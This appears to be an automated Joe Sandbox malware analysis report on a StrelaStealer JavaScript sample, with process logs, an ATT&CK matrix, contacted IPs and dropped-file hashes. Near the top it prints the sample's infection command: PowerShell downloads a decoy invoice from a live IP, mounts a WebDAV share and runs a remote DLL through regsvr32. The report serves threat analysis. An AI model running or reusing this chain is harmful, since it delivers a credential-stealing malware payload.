Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
201672639780846903.js	5%	Virustotal		Browse
201672639780846903.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/A	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high
18.31.95.13.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3396244743.000001791D48C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2175433316.000001791D2A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/F	net.exe, 00000007.00000002.2183240266.00000246BE664000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2183483646.00000246BE681000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183240266.00000246BE657000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183240266.00000246BE664000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2172479327.00000246BE657000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2169544882.00000246BE67E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183240266.00000246BE628000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/A	net.exe, 00000007.00000002.2183240266.00000246BE628000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588836
Start date and time:	2025-01-11 06:07:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	201672639780846903.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 162.159.61.3, 172.64.41.3, 184.28.90.27, 172.202.163.200, 13.95.31.18, 40.69.42.241, 13.85.23.206, 23.209.209.135, 95.101.148.135, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 20.109.210.53, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:08:34	API Interceptor	23x Sleep call for process: powershell.exe modified
00:08:38	API Interceptor	1x Sleep call for process: net.exe modified
00:08:38	API Interceptor	2x Sleep call for process: svchost.exe modified
00:08:50	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307114132544718
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugb:gJjJGtpTq2yv1AuNZRY3diu8iBVqFV
MD5:	DEF5EB58FF201B123FFD79B083B1D435
SHA1:	218701FE8140F4CB67838AC817A6AA01C74F463A
SHA-256:	0FE61CB1292DAB91A58C98B91C273D2AAA943CF5E3ABCE8C8D7641D0B9CBCE46
SHA-512:	96D2BB93AE5F434E6B9608FDC7BD420B86217F9097902F4F1FACA82D7C07EEACD20A15B5090A08D35438214FA53D8B03AA3BF87FD4A1EE2B9E9827009C6DF8E9
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x86c131f8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.65858291309645
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	43F412DF69EB5CA7E8133A8DBBA1BB53
SHA1:	B4963C5C9F8040109A99DB43F0C1FF5B8F92734C
SHA-256:	B155E6BE45B17BB1D54967D3B5575D8646BB6D3BCCFB06B968109FFD7BD8B3B7
SHA-512:	71992215ED9E07B1CCD56E4BCFCD6C6751E9DB2C17E8F25514A3DF735EA5825336E14746E3C16BB9790DE3D3D26B871B8FE6870A2C07B47E836B2A66A3F9D663
Malicious:	false
Preview:	..1.... ...............X\...;...{......................0.z..........{..'....}7.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................'.'....}w....................p'....}W..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08090214757026931
Encrypted:	false
SSDEEP:	3:oNmlltKYe1SBwu1vtGuAJkhvekl1W20llYllrekGltll/SPj:JltKz1WwytrxloJQJe3l
MD5:	B58332BF5FC39875118495DF4325762C
SHA1:	5E5B6C8EBF3B6D7A69946554C201CBDABB240921
SHA-256:	8372C8A29BD6DDB0E87BF8D6E949B1C546243B21F34EEE0FB59E9C8B1520FDF8
SHA-512:	5FAA632FBDA16B1DED2F8EF1D0A8BF2049705756FC8D564ECEF71EB9B9A178E0AF7FE4ED143A6CDFC07FA0A624FB83185AE99EC98EA61B42C94C276538D2C9AC
Malicious:	false
Preview:	7........................................;...{..'....}W......{...............{.......{...XL......{.....................p'....}W.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.114999066287589
Encrypted:	false
SSDEEP:	6:iOdDM+q2P92nKuAl9OmbnIFUtBKgZmwfKDMVkwO92nKuAl9OmbjLJ:7dDM+v4HAahFUt0g/CDMV5LHAaSJ
MD5:	660ABEAF5EBA6AC97DB8E5585A9B522A
SHA1:	3B0C45B3106EF509D2973288145AC276999CB199
SHA-256:	F779EE152DFA005513E0A9787A44ABF302E7588C6D61AED6C90676A764A76ED2
SHA-512:	B7BB976DFAE55BE2185D3CACA41B1E796EB2BF825F3949293069DEEC7668F63776714BFF461A756BCE1751CEB8E65CB513357283DA646C8EAA0227F6F5E4A116
Malicious:	false
Preview:	2025/01/11-00:08:38.135 3fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:08:38.138 3fc Recovering log #3.2025/01/11-00:08:38.138 3fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.114999066287589
Encrypted:	false
SSDEEP:	6:iOdDM+q2P92nKuAl9OmbnIFUtBKgZmwfKDMVkwO92nKuAl9OmbjLJ:7dDM+v4HAahFUt0g/CDMV5LHAaSJ
MD5:	660ABEAF5EBA6AC97DB8E5585A9B522A
SHA1:	3B0C45B3106EF509D2973288145AC276999CB199
SHA-256:	F779EE152DFA005513E0A9787A44ABF302E7588C6D61AED6C90676A764A76ED2
SHA-512:	B7BB976DFAE55BE2185D3CACA41B1E796EB2BF825F3949293069DEEC7668F63776714BFF461A756BCE1751CEB8E65CB513357283DA646C8EAA0227F6F5E4A116
Malicious:	false
Preview:	2025/01/11-00:08:38.135 3fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:08:38.138 3fc Recovering log #3.2025/01/11-00:08:38.138 3fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.159705203527476
Encrypted:	false
SSDEEP:	6:iOF9+q2P92nKuAl9Ombzo2jMGIFUtzJZmwV9VkwO92nKuAl9Ombzo2jMmLJ:7F9+v4HAa8uFUtzJ/V9V5LHAa8RJ
MD5:	E48B9BE9A4C8C7C69ADA519E7B505112
SHA1:	DFB08847307FD76CED4D08918D0C52F00A3956DD
SHA-256:	385EF50BB6C916B9093F5D9E64FDF5503EEC6483E9B648409298D902CC477AAF
SHA-512:	FDA312C38B8D69BC6AF2BB0B4DBCF29F7C244172277E32C559E71006A84F2BA74EDE73F4995F9FC5C4091159630636C6687534F523E4BD3579807D2FC991B454
Malicious:	false
Preview:	2025/01/11-00:08:38.272 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:08:38.276 1c4c Recovering log #3.2025/01/11-00:08:38.276 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.159705203527476
Encrypted:	false
SSDEEP:	6:iOF9+q2P92nKuAl9Ombzo2jMGIFUtzJZmwV9VkwO92nKuAl9Ombzo2jMmLJ:7F9+v4HAa8uFUtzJ/V9V5LHAa8RJ
MD5:	E48B9BE9A4C8C7C69ADA519E7B505112
SHA1:	DFB08847307FD76CED4D08918D0C52F00A3956DD
SHA-256:	385EF50BB6C916B9093F5D9E64FDF5503EEC6483E9B648409298D902CC477AAF
SHA-512:	FDA312C38B8D69BC6AF2BB0B4DBCF29F7C244172277E32C559E71006A84F2BA74EDE73F4995F9FC5C4091159630636C6687534F523E4BD3579807D2FC991B454
Malicious:	false
Preview:	2025/01/11-00:08:38.272 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:08:38.276 1c4c Recovering log #3.2025/01/11-00:08:38.276 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.039270225521244
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUx/sBdOg2HgYZcaq3QYiubxnP7E4T3OF+:Y2sRdswdMHBg3QYhbxP7nbI+
MD5:	07C3212BE0F11529C52A12758ABD37E8
SHA1:	5BADD95D54304959F9E62AD451F69BBF0CB6F344
SHA-256:	2478CC2F9BC1566A799E991787ACC2C8A60344744EC6F988E2EE0C14BF8DB547
SHA-512:	94E1AC521437CFC7473E64BA571D811C971EF6E2107617A92644972EAB0794F5B0908DC8860086EB0201B8A7520CE2784A568EA802F364321C11B925665BC5F6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132124184653","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153758},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bb5fba09-2ffc-4b22-9f88-26cf4810ccbb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.039270225521244
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUx/sBdOg2HgYZcaq3QYiubxnP7E4T3OF+:Y2sRdswdMHBg3QYhbxP7nbI+
MD5:	07C3212BE0F11529C52A12758ABD37E8
SHA1:	5BADD95D54304959F9E62AD451F69BBF0CB6F344
SHA-256:	2478CC2F9BC1566A799E991787ACC2C8A60344744EC6F988E2EE0C14BF8DB547
SHA-512:	94E1AC521437CFC7473E64BA571D811C971EF6E2107617A92644972EAB0794F5B0908DC8860086EB0201B8A7520CE2784A568EA802F364321C11B925665BC5F6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132124184653","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153758},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237509238918585
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUvfSDlAC:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL5
MD5:	E9050E26B3CBC3E55FAA5ACC5A4F859B
SHA1:	46EDBE65D254B89A339B1071376A592235FBA0E7
SHA-256:	79631D4C9B734E5CA40A92F56A02B9FAE98CCC64E9D8A9C23090C4CB6A29A8A8
SHA-512:	5574E9887B9B56B51817BB150673203FFE349CD5315EA8346627AE32B3B1DEEDDE184BCDBEF7821AE1D69D771491DC1B4E7E4780C305CEF1B7659ECA1D0059F9
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.154906411516908
Encrypted:	false
SSDEEP:	6:iOIs9+q2P92nKuAl9OmbzNMxIFUtjJZmwIN9VkwO92nKuAl9OmbzNMFLJ:799+v4HAa8jFUtjJ/69V5LHAa84J
MD5:	403ABC5F89AAB780A006657A64F81666
SHA1:	52304C070BD59B399045850B4ECF3B89D83E531B
SHA-256:	CE2E6F34BFC940ED3934366D33062616A9B99EBD2F208E5D5A4EF80C06016A56
SHA-512:	BBFBFAC91CA01E0C2D872949D01043E420D609370F02DB845226B74AFB0AD72B17076E6524611F570F1DE0AEF6152CDB97B572757CA47215788A5D404D766095
Malicious:	false
Preview:	2025/01/11-00:08:38.359 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:08:38.360 1c4c Recovering log #3.2025/01/11-00:08:38.361 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.154906411516908
Encrypted:	false
SSDEEP:	6:iOIs9+q2P92nKuAl9OmbzNMxIFUtjJZmwIN9VkwO92nKuAl9OmbzNMFLJ:799+v4HAa8jFUtjJ/69V5LHAa84J
MD5:	403ABC5F89AAB780A006657A64F81666
SHA1:	52304C070BD59B399045850B4ECF3B89D83E531B
SHA-256:	CE2E6F34BFC940ED3934366D33062616A9B99EBD2F208E5D5A4EF80C06016A56
SHA-512:	BBFBFAC91CA01E0C2D872949D01043E420D609370F02DB845226B74AFB0AD72B17076E6524611F570F1DE0AEF6152CDB97B572757CA47215788A5D404D766095
Malicious:	false
Preview:	2025/01/11-00:08:38.359 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:08:38.360 1c4c Recovering log #3.2025/01/11-00:08:38.361 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
